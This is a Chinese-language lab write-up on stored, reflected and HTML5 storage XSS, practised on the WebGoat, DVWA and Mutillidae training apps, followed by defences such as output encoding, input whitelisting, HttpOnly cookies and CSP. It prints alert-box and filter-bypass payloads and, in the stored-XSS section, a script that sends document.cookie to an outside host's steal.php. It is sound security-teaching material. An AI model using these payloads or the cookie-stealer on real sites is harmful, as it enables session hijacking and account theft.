目录一、实验背景与环境介绍二、XSS 攻击分类与靶场实操2.1 存储型 XSSWebGoat 靶场实战2.2 反射型 XSSDVWA 靶场实战2.3 HTML5 Web Storage XSSMutillidae 靶场实战三、XSS 漏洞防御方案四、实验总结一、实验背景与环境介绍跨站脚本攻击Cross-Site Scripting, XSS是 Web 安全领域最经典、高发的注入类漏洞常年位列 OWASP Top 10 漏洞榜单前列。其核心原理是攻击者向 Web 页面注入恶意脚本代码当其他用户浏览页面时浏览器会无差别执行这些脚本从而实现窃取 Cookie、会话劫持、页面篡改、钓鱼欺诈等危害。本次实验基于 OWASP Broken Web Apps 集成靶场环境通过 WebGoat 5.4、DVWADamn Vulnerable Web App、Mutillidae 三个经典漏洞演练平台分别完成存储型 XSS、反射型 XSS、HTML5 Web Storage XSS 三类场景的实操深入理解 XSS 的攻击逻辑与防御思路。实验靶机 IP 为192.168.104.128使用 Firefox 浏览器配合开发者工具完成调试与验证。二、XSS 攻击分类与靶场实操2.1 存储型 XSSWebGoat 靶场实战存储型 XSS 是危害最持久的 XSS 类型恶意脚本会被写入网站数据库所有访问对应页面的用户都会触发攻击无需攻击者诱导点击链接。本次实验对应 WebGoat 的「LAB: Cross Site Scripting - Stage 1」关卡任务要求以用户 Tom 的身份在个人资料的 Street街道字段注入脚本验证用户 Jerry 访问时会受到攻击。实验步骤使用账号Tom密码为小写tom登录 WebGoat 系统进入员工资料编辑页面。找到 Street 输入框注入经典 XSS 测试 payloadscriptalert(Stored XSS)/script提交保存个人资料。恶意脚本随用户资料一同存入后端数据库。切换账号 Jerry 登录查看 Tom 的个人资料时页面会加载 Street 字段的内容浏览器直接执行其中的 script 标签弹出 XSS 提示框攻击验证成功。该场景模拟了真实业务中 “用户留言、个人资料、评论区” 等功能的 XSS 风险 —— 只要输入未经过滤就存入数据库就会成为长期存在的攻击入口。scriptalert(Stored XSS Attack Success)/script script var img document.createElement(img); img.src http://192.168.104.129/steal.php?cookie document.cookie; document.body.appendChild(img); /script2.2 反射型 XSSDVWA 靶场实战反射型 XSS 属于非持久化攻击恶意脚本通过 URL 参数传递服务器接收参数后直接 “反射” 回页面渲染需要攻击者诱导用户点击特制的恶意 URL 才能触发。本次实验在 DVWA 的「Reflected Cross Site Scripting」模块完成页面提供了姓名输入框提交后会在页面回显 “Hello 输入内容”。实验步骤首先进行基础探测在输入框输入特殊字符dad并提交观察页面回显。可以看到标签符号被直接渲染未做任何转义处理确认存在 XSS 注入点。构造攻击 payloadBobscriptalert(Reflected XSS)/script输入后点击提交。页面回显内容中script标签被浏览器解析执行成功弹出 XSS 提示窗口。通过开发者工具查看页面元素可确认脚本标签已被嵌入到页面 HTML 结构中。反射型 XSS 常出现在搜索框、错误页、参数回显等场景攻击者可通过拼接恶意参数的 URL诱导用户点击后窃取其身份凭证。!-- 基础反射型XSS弹窗PayloadDVWA name参数注入 -- scriptalert(Reflected XSS)/script !-- 绕过基础过滤的变形Payload -- svg onloadalert(XSS Bypass) img srcerror.png onerroralert(XSS Bypass)2.3 HTML5 Web Storage XSSMutillidae 靶场实战随着 HTML5 技术普及LocalStorage、SessionStorage 成为前端常用的本地存储方案也衍生出新型 XSS 攻击面。当页面 JavaScript 读取存储内容后直接通过innerHTML等方式渲染到页面时若内容未做转义就会触发 XSS。本次实验在 Mutillidae 的「HTML5 Web Storage」页面完成该页面支持向 Session Storage 和 Local Storage 中添加自定义键值对并在页面表格中渲染存储内容。实验步骤在页面输入框的 Item 字段中注入 HTML 标签 payloadCookbook test H13/H1选择存储类型后点击 “Add New” 按钮。页面读取存储内容并渲染时H1标签被浏览器解析对应文字以一级标题样式显示验证了注入效果。若替换为脚本 payload即可实现前端存储型 XSS攻击效果会持续保留在用户本地浏览器中直到存储数据被清除。// HTML5 Storage XSS 注入脚本 // 向LocalStorage写入恶意内容页面读取后触发 localStorage.setItem(testKey, scriptalert(LocalStorage XSS)/script); // 漏洞触发的前端代码靶场存在漏洞的写法 function renderStorage() { // 直接用innerHTML渲染存储内容未做转义导致XSS document.getElementById(result).innerHTML localStorage.getItem(testKey); }三、XSS 漏洞防御方案通过三个靶场的实操可以总结XSS 漏洞的核心成因是输入未过滤、输出未编码浏览器将用户可控内容当作代码执行。对应的防御手段需从输入、输出两端同时入手输入侧验证采用白名单机制校验用户输入限制允许的字符范围与格式对应 WebGoat 关卡中 Stage 2 的 “输入验证防御” 思路从源头拦截恶意脚本。输出侧编码将用户输入输出到 HTML 页面、JavaScript 上下文时分别执行 HTML 实体编码、JS 编码将、、等特殊字符转为转义形式让浏览器只将其当作文本解析而非代码执行。Cookie 安全配置为关键 Cookie 设置HttpOnly属性禁止 JavaScript 脚本读取 Cookie降低 XSS 发生后的会话劫持风险。内容安全策略CSP配置 CSP 响应头限制页面可执行脚本的来源禁止内联脚本执行从机制上大幅压缩 XSS 攻击的生效空间。?php // PHP 输出侧HTML实体编码最基础有效的XSS防御 $userName $_GET[name]; // ENT_QUOTES 转义单双引号指定UTF-8编码避免乱码 echo Hello . htmlspecialchars($userName, ENT_QUOTES, UTF-8); ?// Java 后端输入白名单校验示例 public boolean isValidStreet(String street) { // 地址字段仅允许字母、数字、空格、逗号、点号、横杠 String pattern ^[a-zA-Z0-9\\s,.-]{1,100}$; return street.matches(pattern); }四、实验总结本次实验通过三款经典靶场完整覆盖了存储型、反射型、前端存储型三类 XSS 场景从注入探测、payload 构造到攻击验证形成了完整闭环。XSS 作为前端安全的核心漏洞看似利用门槛低但其危害可延伸至账号窃取、网站篡改、蠕虫传播等严重后果。对于开发人员而言建立 “所有用户输入都不可信” 的安全意识在代码层面严格落实输入校验与输出编码是抵御 XSS 攻击的根本手段而通过靶场实操理解攻击逻辑也能帮助开发者更精准地在业务中排查和修复同类风险。辅助工具https://www.doubao.com/https://www.doubao.com/OWASP 官方 XSS 攻击详解https://owasp.org/www-community/attacks/xss/